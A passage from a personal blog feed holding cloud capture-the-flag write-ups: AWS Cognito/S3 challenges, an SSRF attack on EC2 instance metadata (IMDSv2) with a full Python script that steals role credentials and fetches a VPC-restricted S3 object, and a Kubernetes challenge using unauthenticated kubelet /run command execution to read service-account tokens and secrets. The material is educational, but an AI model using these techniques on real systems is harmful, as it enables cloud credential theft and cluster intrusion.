AWS.config.credentials.sessionToken
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753471912188/9d53b7cb-50fa-4f28-a962-71af74630e39.png" alt class="image--center mx-auto" /></p>
<p>Then open local terminal (because in web shell we cannot set AWS credentials) to configure AWS cli to use the credentials. In linux open file <code>~/.aws/credentials</code> then write this line</p>
<pre><code class="lang-bash">[bigiam]
aws_access_key_id = &lt;access-id&gt;
aws_secret_access_key = &lt;secret-id&gt;
aws_session_token = &lt;session-token&gt;
</code></pre>
<p>Then access the S3 bucket to get the flag</p>
<pre><code class="lang-bash">aws --profile bigiam s3 ls s3://wiz-privatefiles/
aws --profile bigiam s3 cp s3://wiz-privatefiles/flag1.txt -
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753472461083/3dfe337b-c103-4935-8c0a-3d8fc7bd4ebc.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-6-one-final-push">6. One final push</h2>
<p>Last challenge!</p>
<blockquote>
<p>Anonymous access no more. Let's see what can you do now.</p>
<p>Now try it with the authenticated role: <em>arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role</em></p>
</blockquote>
<p>and AWS IAM policy</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
    <span class="hljs-attr">"Statement"</span>: [
        {
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Principal"</span>: {
                <span class="hljs-attr">"Federated"</span>: <span class="hljs-string">"cognito-identity.amazonaws.com"</span>
            },
            <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"sts:AssumeRoleWithWebIdentity"</span>,
            <span class="hljs-attr">"Condition"</span>: {
                <span class="hljs-attr">"StringEquals"</span>: {
                    <span class="hljs-attr">"cognito-identity.amazonaws.com:aud"</span>: <span class="hljs-string">"us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"</span>
                }
            }
        }
    ]
}
</code></pre>
<p>Last challenge is using Cognito again and now we got access to assume with web identity.</p>
<p>So, all we need to do is get the identity from Cognito</p>
<pre><code class="lang-bash">aws cognito-identity get-id --region us-east-1 --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b
</code></pre>
<p>Get the JWT with identity we got before</p>
<pre><code class="lang-bash">aws cognito-identity get-open-id-token --region us-east-1 --identity-id us-east-1:157d6171-ee06-cefb-6881-51ea5f1b6a9d
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753473153969/28f672cf-32a6-475a-9869-fb94b8a99890.png" alt class="image--center mx-auto" /></p>
<p>Then we can assume role in description with our JWT to get AWS credentials</p>
<pre><code class="lang-bash">aws sts assume-role-with-web-identity --role-session-name challenge-6 --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --web-identity-token &lt;JWT&gt;
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753473372911/fd91340c-8064-4fea-80ee-7abd925b7510.png" alt class="image--center mx-auto" /></p>
<p>Just like previous challenge create <code>credentials</code> in our local terminal, then with that profile list s3 bucket.</p>
<pre><code class="lang-bash">aws --profile bigiam6 s3 ls
aws --profile bigiam6 s3 ls s3://wiz-privatefiles-x1000
aws --profile bigiam6 s3 cp s3://wiz-privatefiles-x1000/flag2.txt -
</code></pre>
<p>Well, there is many S3 bucket listed i checked one by one then found flag in <code>wiz-privatefiles-x1000</code> bucket.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753473739007/d224267a-9a93-4b2a-a44c-b979190a16d6.png" alt class="image--center mx-auto" /></p>
<p>That’s it! We solve all challenges!</p>
<p>After solve all challenges we can got certificate like this</p>
<p><img src="https://thebigiamchallenge.com/image/IVdl4KBB" alt /></p>
<p><strong>Reference:</strong></p>
<ul>
<li><p><a target="_blank" href="https://docs.aws.amazon.com/general/latest/gr/sqs-service.html">https://docs.aws.amazon.com/general/latest/gr/sqs-service.html</a></p>
</li>
<li><p><a target="_blank" href="https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-single-vs-multi-valued-context-keys.html#reference_policies_condition-multi-valued-context-keys">https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-single-vs-multi-valued-context-keys.html#reference_policies_condition-multi-valued-context-keys</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Cloud Security Championship - Perimeter Leak (June)]]></title><description><![CDATA[Cover Illustration source https://www.pixiv.net/en/artworks/91119415

Hello folks! Let’s talk again about cloud security challenges!
This time i’ll write about my solution for challenge in Cloud Security Championship platform. The platform and the ch...]]></description><link>https://blog.lychnobyte.my.id/cloud-security-championship-perimeter-leak-june</link><guid isPermaLink="true">https://blog.lychnobyte.my.id/cloud-security-championship-perimeter-leak-june</guid><category><![CDATA[Cloud]]></category><category><![CDATA[CTF]]></category><category><![CDATA[AWS]]></category><dc:creator><![CDATA[Lychnobyte]]></dc:creator><pubDate>Fri, 11 Jul 2025 06:18:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1752125118704/ccaa4cdd-b87f-4a9e-808e-efaf4eff1857.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong><em>Cover Illustration source</em></strong> <a target="_blank" href="https://www.pixiv.net/en/artworks/91119415">https://www.pixiv.net/en/artworks/91119415</a></p>
</blockquote>
<p>Hello folks! Let’s talk again about cloud security challenges!</p>
<p>This time i’ll write about my solution for challenge in <code>Cloud Security Championship</code> platform. The platform and the challenge are still up you access here at <a target="_blank" href="https://cloudsecuritychampionship.com/">https://cloudsecuritychampionship.com</a>. So, basically the platform will release 1 challenge per month for 1 whole year so there will be a total of 12 challenges.</p>
<p>Fyi, the challenges author is <a target="_blank" href="https://x.com/0xdabbad00">Scott Piper</a>. The one that also created the infamous <a target="_blank" href="http://flaws.cloud/">flaws.cloud</a> and <a target="_blank" href="http://flaws2.cloud/">flaws2.cloud</a>. If you not check it yet, better visit it now. It is like wargames ctf for cloud security along with complete guide step by step suitable for beginner who just start solving cloud security challenges.</p>
<p>Alright, now let’s start to solve first released challenges in June called <code>Perimeter Leak</code>. Here the challenge description.</p>
<blockquote>
<p>After weeks of exploits and privilege escalation you've gained access to what you hope is the final server that you can then use to extract out the secret flag from an S3 bucket.</p>
<p>It won't be easy though. The target uses an AWS data perimeter to restrict access to the bucket contents.</p>
<p>Good luck!</p>
</blockquote>
<p>Also we got some message in web terminal console</p>
<blockquote>
<p>You've discovered a Spring Boot Actuator application running on AWS: curl <a target="_blank" href="https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com">https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com</a> {"status":"UP"}</p>
</blockquote>
<p>In challenge page you got challenge description and web terminal console like this. So, you can actually just solve the challenge using that terminal but i won’t use that.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752126935252/96b68e94-97be-4e50-b4e7-f185b9ff5adb.png" alt class="image--center mx-auto" /></p>
<p>Let’s start from accessing the url using web browser, we only get response <code>Welcome to the proxy server.</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752127177168/e6cd3b3f-3572-408e-b6eb-f12148c229dc.png" alt class="image--center mx-auto" /></p>
<p>Since we know that the application using <code>Spring Boot Actuator</code> we can try to accessing some endpoint that commonly misconfigured like <code>/actuator/mappings</code>. That shows all the MVC controller mappings, basically show all endpoint that available and how it is configured.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752127655907/a3fd2fda-d494-4fa9-9d36-7b264c93c4a5.png" alt class="image--center mx-auto" /></p>
<p>Yeah, we got list of endpoint along with details configuration for each endpoint.</p>
<p>Let’s scroll down all the way to find some useful endpoint.</p>
<p>There is 2 endpoint that seems useful to me:</p>
<ol>
<li><p><code>/actuator/env</code> → show environment variable value</p>
</li>
<li><p><code>/proxy</code> → endpoint that accept <code>url</code> parameter</p>
</li>
</ol>
<p>First, let’s see the environment variable endpoint. Scroll down to <code>systemEnvironment</code> section.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752204191893/bf2920dd-2922-4b57-ade0-af9edff3eebb.png" alt class="image--center mx-auto" /></p>
<p>From information above we know that our application is running on top of <code>EC2</code> server. We also find <code>BUCKET</code> variable which probably our <code>S3</code> bucket target named <code>challenge01-470f711</code>.</p>
<p>Next, check proxy endpoint. If you access endpoint directly with <code>url</code> parameter empty we got an error like this.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752204469982/c8a58223-c15a-49cf-9276-723b264efb2e.png" alt class="image--center mx-auto" /></p>
<p>So, let’s try to fill <code>url</code> with something like <code>https://google.com</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752204573989/a34107e6-9369-48ee-88bd-5a6b57d774b9.png" alt class="image--center mx-auto" /></p>
<p>We got another error message. Now we know that the proxy only accept <code>IP address</code> or domain with <code>amazonaws.com</code> string in it.</p>
<p>Since we know that the application running on top of <code>EC2</code> maybe we can try to access metadata endpoint to get some credentials?</p>
<p>Try to fill <code>url</code> parameter with <a target="_blank" href="http://169.254.169.254/latest/meta-data/"><code>http://169.254.169.254/latest/meta-data/</code></a> to access <code>EC2</code> metadata.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752204912193/7d329607-10a7-4aa5-9717-0010d92ad026.png" alt class="image--center mx-auto" /></p>
<p>Well, we got response <code>401 Unauthorized</code> which mean the <code>metadata</code> exist but we need some credentials to access that.</p>
<p>So, what kind of credentials we need to access <code>metadata</code>? Well, seems like our <code>EC2</code> target using <code>IMDSv2</code> that has authentication in it.</p>
<p>But, since we can do <code>SSRF</code> and there is no restriction <code>http method</code> we can use (look <code>/proxy</code> configuration below). It is easy for us to get that credentials.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752205213030/5d127867-5853-4d12-957c-4d1e96f356d9.png" alt class="image--center mx-auto" /></p>
<p>So, all we need is just to do <code>PUT</code> request to <a target="_blank" href="http://169.254.169.254/latest/api/token"><code>http://169.254.169.254/latest/api/token</code></a> with additional header <code>X-aws-ec2-metadata-token-ttl-seconds</code>. Here <code>curl</code> command to get the token.</p>
<pre><code class="lang-bash">curl -XPUT https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token \
-H <span class="hljs-string">"X-aws-ec2-metadata-token-ttl-seconds: 21600"</span>
</code></pre>
<p>and we got the token</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752206027030/9eae231b-2e57-4e27-8d8c-876055285252.png" alt class="image--center mx-auto" /></p>
<p>Next try again to access the <code>metadata</code> using the token we just got. Here the <code>curl</code> command.</p>
<pre><code class="lang-bash">TOKEN=<span class="hljs-string">"&lt;token&gt;"</span>

curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/ \
-H <span class="hljs-string">"X-aws-ec2-metadata-token: <span class="hljs-variable">$TOKEN</span>"</span>
</code></pre>
<p>It works now!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752206239085/d5635944-52ba-475e-be59-99957e6e8b96.png" alt class="image--center mx-auto" /></p>
<p>Let’s steal some aws credentials!</p>
<p>So, the credentials we looking for are stored in <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;user&gt;</code> to know what user are exist in the <code>EC2</code> just omit the <code>&lt;user&gt;</code>. Here <code>curl</code> command to steal aws credentials and also get region.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># To get region info</span>
curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/placement/region \
-H <span class="hljs-string">"X-aws-ec2-metadata-token: <span class="hljs-variable">$TOKEN</span>"</span>

<span class="hljs-comment"># To list users</span>
curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ \
-H <span class="hljs-string">"X-aws-ec2-metadata-token: <span class="hljs-variable">$TOKEN</span>"</span>

<span class="hljs-comment"># To retrieve aws credentials</span>
curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368 \
-H <span class="hljs-string">"X-aws-ec2-metadata-token: <span class="hljs-variable">$TOKEN</span>"</span>
</code></pre>
<p>Yeay, we got the credentials!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752212180808/7ad68e06-307f-42b2-9ecb-676c9de43c13.png" alt class="image--center mx-auto" /></p>
<p>Alright, now we have everything we need. Let set all info and credentials to be use by <code>aws cli</code>.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> AWS_DEFAULT_REGION=&lt;region&gt;
<span class="hljs-built_in">export</span> AWS_ACCESS_KEY_ID=&lt;AccessKeyId&gt;
<span class="hljs-built_in">export</span> AWS_SECRET_ACCESS_KEY=&lt;SecretAccessKey&gt;
<span class="hljs-built_in">export</span> AWS_SESSION_TOKEN=&lt;Token&gt;
</code></pre>
<p>Then try to access the <code>S3</code> bucket we know earlier.</p>
<pre><code class="lang-bash">aws s3 ls s3://challenge01-470f711
</code></pre>
<p>Yap, we can list objects inside the bucket.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752212699294/af9c6e35-8926-4bc5-9814-1ae4c1f61a21.png" alt class="image--center mx-auto" /></p>
<p>We can see there is <code>flag.txt</code> object inside <code>private/</code> directory. But, when try to download it we got <code>forbidden</code>. While we try to download <code>hello.txt</code> it return success.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752212945328/4b972425-bbb7-4c90-8d1a-7fbb974776e4.png" alt class="image--center mx-auto" /></p>
<p>As written in challenges description, there is <code>restrict access to the bucket contents</code>. So, maybe the bucket content only accessible through <code>EC2</code> instance?</p>
<p>We can check the <code>S3</code> bucket policy using command below.</p>
<pre><code class="lang-bash">aws s3api get-bucket-policy --bucket challenge01-470f711 --output text | jq .
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752231075872/886c3072-8d26-46ac-83db-23877cd0067d.png" alt class="image--center mx-auto" /></p>
<p>The policy shown that it will <code>deny</code> all request to objects in <code>/private</code> if the request not come from <code>vpce-0dfd8b6aa1642a057</code>. Which mean we need to access the <code>S3</code> bucket through <code>EC2</code> instance.</p>
<p>Well, we can use <code>SSRF</code> to access <code>s3</code> bucket content. But, how we pass the credentials to our <code>SSRF</code> request?</p>
<p>Luckily, there is something called <code>presigned url</code> that can <code>embedded</code> the credentials to the <code>url</code>. So, we can just pass that <code>presigned url</code> for our <code>SSRF</code>.</p>
<p>Let’s generate the <code>presigned url</code> then <code>urlencode</code> the generated url.</p>
<pre><code class="lang-bash">urlencode $(aws s3 presign s3://challenge01-470f711/private/flag.txt --expires-in 604800)
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752213772032/639ab1f8-bd14-4b3e-a563-437d3b6566c9.png" alt class="image--center mx-auto" /></p>
<p>Then access with browser, Ta-da we got the flag!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752213989527/fd87d92d-94c4-4ce5-b35c-1a65de4e94c7.png" alt class="image--center mx-auto" /></p>
<p>Since the challenge still up and points still counted, i censored the flag. But, you can get it just by follow my solution. Well, just do some effort boys~ :D</p>
<p>But, if you lazy you can get the flag immediately using this script, lol XD</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> boto3
<span class="hljs-keyword">from</span> urllib.parse <span class="hljs-keyword">import</span> quote_plus
<span class="hljs-keyword">import</span> requests

<span class="hljs-comment"># Get aws credentials from EC2 instance metadata</span>
chall_url = <span class="hljs-string">"https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com"</span>
proxy_url = chall_url + <span class="hljs-string">"/proxy?url="</span>

<span class="hljs-comment"># Get the token for the metadata service</span>
ssrf_url = proxy_url + <span class="hljs-string">"http://169.254.169.254/latest/api/token"</span>
headers = {
    <span class="hljs-string">"X-aws-ec2-metadata-token-ttl-seconds"</span>: <span class="hljs-string">"21600"</span>
}

imds_api_token = requests.put(ssrf_url, headers=headers, timeout=<span class="hljs-number">5</span>)

wheaders = {
    <span class="hljs-string">"X-aws-ec2-metadata-token"</span>: imds_api_token.text
}

<span class="hljs-comment"># Get the AWS credentials from the metadata service (IMDSv2)</span>
ssrf_url = proxy_url + <span class="hljs-string">"http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368"</span>
imds_creds = requests.get(ssrf_url, headers=headers, timeout=<span class="hljs-number">5</span>)
creds_json = imds_creds.json()

<span class="hljs-comment"># Set the AWS credentials</span>
s3_client = boto3.client(<span class="hljs-string">'s3'</span>, region_name=<span class="hljs-string">'us-east-1'</span>,
                            aws_access_key_id=creds_json[<span class="hljs-string">'AccessKeyId'</span>],
                            aws_secret_access_key=creds_json[<span class="hljs-string">'SecretAccessKey'</span>],
                            aws_session_token=creds_json[<span class="hljs-string">'Token'</span>])

presigned_url = s3_client.generate_presigned_url(
    ClientMethod=<span class="hljs-string">'get_object'</span>,
    Params={<span class="hljs-string">'Bucket'</span>: <span class="hljs-string">'challenge01-470f711'</span>, <span class="hljs-string">'Key'</span>: <span class="hljs-string">'private/flag.txt'</span>},
    HttpMethod=<span class="hljs-string">'GET'</span>,
    ExpiresIn=<span class="hljs-number">3600</span>  <span class="hljs-comment"># URL expires in 1 hour</span>
)

<span class="hljs-comment"># Make the request</span>
get_flag_url = proxy_url + quote_plus(presigned_url)
response = requests.get(get_flag_url, timeout=<span class="hljs-number">5</span>)

print(response.text)
</code></pre>
<p>After solve the challenge, you will got the certificate like this.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752214875670/2aeb7704-13fe-46d8-a915-ae3c40454d6d.png" alt class="image--center mx-auto" /></p>
<p>Alright, that’s it. See you next month with new challenge! :D</p>
<p><strong>Reference:</strong></p>
<ul>
<li><p><a target="_blank" href="https://medium.com/walmartglobaltech/perils-of-spring-boot-actuators-misconfiguration-185c43a0f785">https://medium.com/walmartglobaltech/perils-of-spring-boot-actuators-misconfiguration-185c43a0f785</a></p>
</li>
<li><p><a target="_blank" href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html">https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html</a></p>
</li>
<li><p><a target="_blank" href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/ShareObjectPreSignedURL.html">https://docs.aws.amazon.com/AmazonS3/latest/userguide/ShareObjectPreSignedURL.html</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[My Own Challenge - That Day]]></title><description><![CDATA[Cover Illustration source https://www.pixiv.net/en/artworks/104822829

Hello all, let’s continue to my second challenge called That Day. This challenge is about get access to kubernetes cluster. Here the challenge description

But perhaps you hate a ...]]></description><link>https://blog.lychnobyte.my.id/my-own-challenge-that-day</link><guid isPermaLink="true">https://blog.lychnobyte.my.id/my-own-challenge-that-day</guid><category><![CDATA[Cloud]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Kubernetes]]></category><dc:creator><![CDATA[Lychnobyte]]></dc:creator><pubDate>Wed, 09 Jul 2025 05:55:03 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1752029083028/7b70675a-a55d-42b7-be7c-9688b06afd28.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong><em>Cover Illustration source</em></strong> <a target="_blank" href="https://www.pixiv.net/en/artworks/104822829">https://www.pixiv.net/en/artworks/104822829</a></p>
</blockquote>
<p>Hello all, let’s continue to my second challenge called <code>That Day</code>. This challenge is about get access to kubernetes cluster. Here the challenge description</p>
<blockquote>
<p>But perhaps you hate a thing and it's good for you And perhaps you love a thing and it's bad for you :')</p>
<p><a target="_blank" href="http://foryou.lychnobyte.my.id"><code>http://foryou.lychnobyte.my.id</code></a></p>
</blockquote>
<p>So, this challenge was once deployed in VPS and attached with my domain but now the challenge is down. If you wanna try to solve it you need to deploy the cluster and service yourself.</p>
<p>All you need is ubuntu 20.04 (or later version) VM with specs 2 vcpu and 2 GB ram. Then follow steps on <code>deploy_notes.md</code> after that deploy manifest <code>deploy_sites.yaml</code> with <code>k create -f deploy_sites.yaml</code>.</p>
<p><a target="_blank" href="https://github.com/afmaghribi/BrokenHeartEdition/tree/master/Cloud/That_Day/deploy">https://github.com/afmaghribi/BrokenHeartEdition/tree/master/Cloud/That_Day/deploy</a></p>
<p>Well, i use <code>microk8s</code> here for simplicity to deploy single node kubernetes cluster. You can deploy kubernetes cluster with another tools but i things it’s too much just for simple service.</p>
<p>After all set you can add static domain to <code>/etc/host</code> on your pc to resolve vm ip to <code>foryou.lychnobyte.my.id</code> or you can directly access your vm ip address in browser. Here the sites page look like.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752032234263/fbc3bfdc-01fe-4dd1-98fa-0ec3cbfe9a46.png" alt class="image--center mx-auto" /></p>
<p>I know, it is too cringe like asdfafgdafgsdag &gt;_&lt; sorry -_-”</p>
<p>Anyway, back to challenge objective and assume we don’t know what service are running in vm. Again it is just a static website so we need to scan the ip vm to know what services running on vm using <code>nmap</code></p>
<pre><code class="lang-python">nmap -sS -sV -Pn -p- -T5 -n foryou.lychnobyte.my.id
</code></pre>
<p>Wait a while and here the result look like</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752033038303/8bd77da8-f319-43ba-884f-8c58cde54b68.png" alt class="image--center mx-auto" /></p>
<p>Many ports open but we know that in <code>Operator</code> challenge <a target="_blank" href="https://blog.lychnobyte.my.id/htb-business-ctf-2022-operator">here</a> port <code>10250</code> are exposed by <code>kubelet</code> service. So, it is most likely the vm is <code>kubernetes</code> node and for <code>apiserver</code> port commonly use <code>6443</code> or <code>16443</code>.</p>
<p>Let’s access <code>apiserver</code> using browser and we got <code>forbidden</code> response. But, confirm that it is <code>kubernetes</code> cluster <code>apiserver</code> endpoint.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752034677170/c8ed8db2-93be-4de3-bb24-9ee94522c2c1.png" alt class="image--center mx-auto" /></p>
<p>Well, so we don’t have access directly to the <code>apiserver</code> port but what about access in <code>kubelet</code> port?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752034990335/a80bc04c-6100-4890-a493-d34c591369f5.png" alt class="image--center mx-auto" /></p>
<p>Well, it is only response <code>404 not found</code> not <code>forbidden</code>. Then try to list running pods using <code>/pods/</code> endpoint</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752036223532/aba73d01-807d-4a0f-8557-bd656795c999.png" alt class="image--center mx-auto" /></p>
<p>Yeah, we got list of pods along with details metadata for each pod.</p>
<p>Alright, next step is as usual. We retrieve serviceaccoount token inside the pod then use it as authentication to access the kubernetes cluster.</p>
<p>First, lets find good pod candidate that probably has high serviceaccount privilege.</p>
<p>Pods <code>situs-diriku-f9b4bdc98-mp7dk</code> seems a good candidate</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752036545004/28145e9a-fa22-4d37-a020-ab3922786145.png" alt class="image--center mx-auto" /></p>
<p>Because the pods use custom serviceaccount name <code>sa-diriku</code> and has <code>automountServiceAccountToken</code> set to <code>true</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752036994764/8e00b964-8f87-40f3-bc3f-11a7d61fdc09.png" alt class="image--center mx-auto" /></p>
<p>So, how to retrieve the token inside pod? Well, <code>kubelet</code> has endpoint <code>/run</code> that can be use to run command inside desired pod. Here the pattern to remote command execution.</p>
<pre><code class="lang-bash">curl -XPOST -k \
https://<span class="hljs-variable">${IP_ADDRESS}</span>:10250/run/&lt;namespace&gt;/&lt;pod&gt;/&lt;container&gt; \
-d cmd=<span class="hljs-string">"command to exec"</span>
</code></pre>
<p>In our case we use we want to retrieve serviceaccount token, so this is our <code>curl</code> request.</p>
<pre><code class="lang-bash">curl -XPOST -k \
  https://foryou.lychnobyte.my.id:10250/run/jakarta/situs-diriku-f9b4bdc98-mp7dk/situs-diriku\
?cmd=<span class="hljs-string">"cat%20/var/run/secrets/kubernetes.io/serviceaccount/token"</span>
</code></pre>
<p>Successfully retrieve the serviceaccount token.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752039204780/b936b0ca-967a-438a-9ae9-095908e0113e.png" alt class="image--center mx-auto" /></p>
<p>Now, we can use the token to access <code>kubernetes</code> cluster using <code>kubectl</code>. Check authorization of the token we have, don’t forget to specify <code>namespace</code> to <code>jakarta</code> because <code>serviceaccount</code> only has <code>namespaced</code> scope permission.</p>
<pre><code class="lang-bash">TOKEN=<span class="hljs-string">"serviceaccount token"</span>

kubectl --insecure-skip-tls-verify=<span class="hljs-literal">true</span> --server https://foryou.lychnobyte.my.id:16443 --token <span class="hljs-variable">$TOKEN</span> --namespace jakarta auth can-i --list
</code></pre>
<p>Well, we have permission to <code>list</code> and <code>get</code> object <code>secrets</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752039849815/48c1281d-e836-412d-bb63-988a4b37002b.png" alt class="image--center mx-auto" /></p>
<p>Then we can just <code>list</code> and <code>get</code> the <code>secrets</code>, don’t forget to decode as <code>base64</code> to retrieve the plaintext.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752039956709/e1546302-19cc-47ea-a513-0d247873dbf4.png" alt class="image--center mx-auto" /></p>
<p>That it we got the flag!</p>
<p>Flag: <code>TCP1P{4nd_c3l3br4t3_y0ur_h4pp13st_d4ys_th3r3_:')}</code></p>
<h3 id="heading-reference"><strong>Reference:</strong></h3>
<ol>
<li><p><a target="_blank" href="https://faun.pub/attacking-kubernetes-clusters-using-the-kubelet-api-abafc36126ca">https://faun.pub/attacking-kubernetes-clusters-using-the-kubelet-api-abafc36126ca</a></p>
</li>
<li><p><a target="_blank" href="https://microk8s.io/docs/services-and-ports">https://microk8s.io/docs/services-and-ports</a></p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[My Own Challenge - Last Forever]]></title><description><![CDATA[Cover Illustration source https://www.pixiv.net/en/artworks/97570152

Hello all, i will continue write about cloud ctf challenges. But, instead of solving challenges from ctf competition out there. In this post i talk about my own challenges. Well, t...]]></description><link>https://blog.lychnobyte.my.id/my-own-challenge-last-forever</link><guid isPermaLink="true">https://blog.lychnobyte.my.id/my-own-challenge-last-forever</guid><category><![CDATA[Cloud]]></category><category><![CDATA[CTF]]></category><category><![CDATA[AWS]]></category><dc:creator><![CDATA[Lychnobyte]]></dc:creator><pubDate>Tue, 08 Jul 2025 04:58:32 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1751944476886/d9c349a9-f197-4380-bc15-e4efdc3c1d19.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong><em>Cover Illustration source</em></strong> <a target="_blank" href="https://www.pixiv.net/en/artworks/97570152">https://www.pixiv.net/en/artworks/97570152</a></p>
</blockquote>
<p>Hello all, i will continue write about cloud ctf challenges. But, instead of solving challenges from ctf competition out there. In this post i talk about my own challenges. Well, the challenges was listed on one of ctf playground platform but now the platform itself is closed so i decide to write about it.</p>
<details><summary>(yapping) unrelated with challenge</summary><div data-type="detailsContent">Well, this is just personal note regarding the challenges i created. If you realized the theme of my challenge is heart break related, because that what moves me to make the challenge. So, i just say sorry if the challenge itself looks cringe and annoying, lmao😬. During that time i experienced the broken heart (again), but that time hits different. Cause like for just a day she make me felt like “this is what i looking for my whole 25 years of living”. Aside of the person itself that amazing (for me) the whole experience that day was exceptional, cause whenever i remember that day (till now) i always feel so unreal just like a dream especially for a person like me to have experience like that. So, why created challenges while i broken heart?. I just make myself busy (easy way to pass the phase) and express my sadness by draining my tears (literally crying during make the chall, lmao) while also do something i love (created things) and same time also can be useful (maybe there is takeaway in challenges, idk lol) it is win-win move isn’t it? lmao. So, yeah i just did and one year later i still here feel the same ._.</div></details>

<p>So, first challenge is called <code>Last Forever</code> which is about aws s3 bucket. Here the challenge description.</p>
<blockquote>
<p>I have erased all my memories of you. But, why are you still in the deepest part of my heart? :')</p>
<p><a target="_blank" href="http://forever.lychnobyte.my.id"><code>http://forever.lychnobyte.my.id</code></a></p>
</blockquote>
<p>Well, the challenge is still up and maybe you can try to solve it by yourself before reading this post. I will give source code and how to deploy the challenge later in this post.</p>
<p>Let’s start to solve this challenge.</p>
<p>First open the link provided in description with browser, here the page we got.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751947908374/cba4910b-a3a2-4cf9-9329-591a126548bf.png" alt class="image--center mx-auto" /></p>
<p>Nothing special with the website itself just a static page. Since it is <code>cloud</code> challenge it might useful if we use <code>dig</code> to know what cloud provider that use in this challenge.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751948119555/e8675d4a-2779-4e61-b525-bd70ea6d3388.png" alt class="image--center mx-auto" /></p>
<p>From <code>dig</code> answer section we can see that website are <code>served</code> as static website that provided by aws <code>s3</code> bucket. Because it using CNAME <code>s3-website.&lt;region&gt;.amazonaws.com</code>.</p>
<p>Since it is static website the bucket should has public access to list objects. So, we can just go to <code>http://</code><a target="_blank" href="http://forever.lychnobyte.my.id.s3.us-east-2.amazonaws.com"><code>forever.lychnobyte.my.id.s3.us-east-2.amazonaws.com</code></a> to list all objects in the bucket.</p>
